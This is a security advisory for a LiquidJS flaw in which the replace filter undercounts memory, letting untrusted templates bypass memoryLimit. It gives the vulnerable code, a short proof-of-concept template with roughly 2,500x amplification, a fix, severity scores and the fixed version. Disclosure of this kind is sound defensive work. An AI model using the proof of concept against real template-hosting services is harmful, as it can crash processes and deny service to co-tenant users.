CVE-2026-34166

ADVISORY - github

Summary

Summary

The replace filter in LiquidJS incorrectly accounts for memory usage when the memoryLimit option is enabled. It charges str.length + pattern.length + replacement.length bytes to the memory limiter, but the actual output from str.split(pattern).join(replacement) can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the memoryLimit DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions.

Details

The vulnerable code is in src/filters/string.ts:137-142:

export function replace (this: FilterImpl, v: string, pattern: string, replacement: string) {
  const str = stringify(v)
  pattern = stringify(pattern)
  replacement = stringify(replacement)
  this.context.memoryLimit.use(str.length + pattern.length + replacement.length)  // BUG: accounts for inputs, not output
  return str.split(pattern).join(replacement)  // actual output can be quadratically larger
}

The memoryLimit.use() call charges only the sum of the three input lengths. However, the str.split(pattern).join(replacement) operation produces output of size:

(number_of_occurrences * replacement.length) + non_matching_characters

When every character in str matches pattern (e.g., str = 5,000 as, pattern = a), there are 5,000 occurrences. With a 5,000-character replacement string, the output is 5000 * 5000 = 25,000,000 characters, while only 5000 + 1 + 5000 = 10,001 bytes are charged to the limiter.

The Limiter class at src/util/limiter.ts:3-22 is a simple accumulator — it only checks at the time use() is called and has no post-hoc validation of actual memory allocated.

The memoryLimit option defaults to Infinity (src/liquid-options.ts:198), so this only affects deployments that explicitly enable memory limiting to protect against untrusted template input.

PoC

const { Liquid } = require('liquidjs');

// User explicitly enables memoryLimit for DoS protection (10MB)
const engine = new Liquid({ memoryLimit: 1e7 });

const inputLen = 5000;
const aStr = 'a'.repeat(inputLen);
const bStr = 'b'.repeat(inputLen);

// Template that should be blocked by 10MB memory limit
const tpl = engine.parse(
  `{%- assign s = "${aStr}" -%}` +
  `{%- assign r = "${bStr}" -%}` +
  `{{ s | replace: "a", r }}`
);

// This should throw "memory alloc limit exceeded" but succeeds
const result = engine.renderSync(tpl);

console.log('Memory limit: 10,000,000 bytes');
console.log('Memory charged:', 10001, 'bytes');
console.log('Actual output:', result.length, 'bytes');  // 25,000,000 bytes
console.log('Amplification:', Math.round(result.length / 10001) + 'x');
// Output: Amplification: 2500x — completely bypasses the 10MB limit

Impact

Users who deploy LiquidJS with memoryLimit enabled to process untrusted templates (e.g., multi-tenant SaaS platforms allowing custom templates) are not protected against memory exhaustion via the replace filter. An attacker who can author templates can allocate ~2,500x more memory than the configured limit allows, potentially causing:

  • Node.js process out-of-memory crashes
  • Denial of service for co-tenant users on the same process
  • Resource exhaustion on the hosting infrastructure

The impact is limited to availability (no confidentiality or integrity impact), and requires both non-default configuration (memoryLimit enabled) and template authoring access.

Recommended Fix

Account for the actual output size in the memory limiter by calculating the number of occurrences:

export function replace (this: FilterImpl, v: string, pattern: string, replacement: string) {
  const str = stringify(v)
  pattern = stringify(pattern)
  replacement = stringify(replacement)
  const parts = str.split(pattern)
  const outputSize = str.length + (parts.length - 1) * (replacement.length - pattern.length)
  this.context.memoryLimit.use(outputSize)
  return parts.join(replacement)
}

This computes the exact output size: the original string length plus, for each occurrence, the difference between the replacement and pattern lengths. The split() result is reused to avoid computing it twice.

EPSS Score: 0.00037 (0.111)

Common Weakness Enumeration (CWE)

ADVISORY - nist

Uncontrolled Resource Consumption

ADVISORY - github

Uncontrolled Resource Consumption


GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

2.2

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

3.7low
PackageTypeOS NameOS VersionAffected RangesFix Versions
liquidjsnpm--<=10.25.210.25.3

CVSS:3 Severity and metrics

The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.

The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).

A successful attack depends on conditions beyond the attacker's control, requiring investing a measurable amount of effort in research, preparation, or execution against the vulnerable component before a successful attack.

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

The vulnerable system can be exploited without interaction from any user.

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

There is no loss of confidentiality.

There is no loss of trust or accuracy within the impacted component.

Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component.

NIST

CREATED

UPDATED

EXPLOITABILITY SCORE

2.2

EXPLOITS FOUND
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

3.7low

Chainguard

CREATED

UPDATED

ADVISORY ID

CGA-2p86-h3m9-xxvf

EXPLOITABILITY SCORE

-

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)-
RATING UNAVAILABLE FROM ADVISORY